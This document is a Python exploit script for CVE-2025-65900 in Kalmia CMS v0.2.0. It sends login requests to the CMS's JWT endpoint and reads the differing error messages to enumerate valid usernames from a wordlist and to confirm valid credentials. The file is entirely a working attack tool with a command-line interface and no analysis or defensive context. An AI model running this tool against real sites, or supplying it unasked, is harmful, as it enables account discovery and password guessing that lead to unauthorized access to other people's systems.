#!/usr/bin/env python3 import argparse import requests import json import sys from urllib.parse import urljoin from colorama import Fore, Style, init from time import sleep init(autoreset=True) banner = f""" ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ███████╗ █████╗ █████╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗ ███████╗╚█████╔╝╚██████║╚██████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══██╗╚════██║██╔══██╗ ╚═══██║ ╚═══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ╚██████╔╝███████║╚█████╔╝ █████╔╝ █████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚══════╝ ╚════╝ ╚════╝ ╚════╝ """ for char in banner: print(f"{Fore.RED}{Style.BRIGHT}{char}", end='', flush=True) sleep(0.0008) def checkCredentials(url, username, password): endpoint = "/kal-api/auth/jwt/create" # Edit if necessary full_url = urljoin(url, endpoint) payload = { "username": username, "password": password } headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0' } try: response = requests.post( full_url, headers=headers, data=json.dumps(payload), timeout=30 ) if response.status_code == 200: return "valid_credentials" response_data = response.json() message = response_data.get('message', '') if message == "user_not_found": return "user_not_found" elif message == "invalid_password": return "invalid_password" else: return "unknown_error" except requests.exceptions.RequestException as e: return "connection_error" except json.JSONDecodeError: return "invalid_response" def main(): parser = argparse.ArgumentParser(description='Exploit for user enumeration: Kalmia CMS v0.2.0 - CVE-2025-65900', formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('url', help='Base URL (e.g., http://localhost:2727)') parser.add_argument('-u', '--user', help='Username to test') parser.add_argument('-p', '--password', help='Password to test') parser.add_argument('-w', '--wordlist', help='Wordlist file for user enumeration') args = parser.parse_args() print("-" * 50) print(f"[*] URL Base: {args.url}") print("-" * 50) if not args.url.startswith(('http://', 'https://')): print("Error: URL must start with http:// or https://") sys.exit(1) if args.user and args.password: result = checkCredentials(args.url, args.user, args.password) if result == "valid_credentials": print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid credentials: {args.user}:{args.password}") elif result == "invalid_password": print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid user: {args.user}") elif result == "user_not_found": pass else: print(f"[-] Error: {result}") elif args.wordlist and args.password: try: with open(args.wordlist, 'r') as f: users = [line.strip() for line in f if line.strip()] print(f"{Fore.YELLOW}{Style.BRIGHT}[*] Starting user enumeration with {len(users)} users...\n") valid_users = [] for user in users: result = checkCredentials(args.url, user, args.password) if result == "invalid_password": valid_users.append(user) print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid user found: {user}") elif result == "valid_credentials": print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid credentials: {user}:{args.password}") if valid_users: print(f"\n{Fore.GREEN}{Style.BRIGHT}[+] Summary - Valid users: {', '.join(valid_users)}") else: print("[-] No valid users found") except FileNotFoundError: print(f"Error: Wordlist file '{args.wordlist}' not found") sys.exit(1) except Exception as e: print(f"Error reading wordlist: {e}") sys.exit(1) else: print("Error: You must provide either:") print(" - Single test: -u USER -p PASSWORD") print(" - Enumeration: -w WORDLIST -p PASSWORD") sys.exit(1) if __name__ == "__main__": main()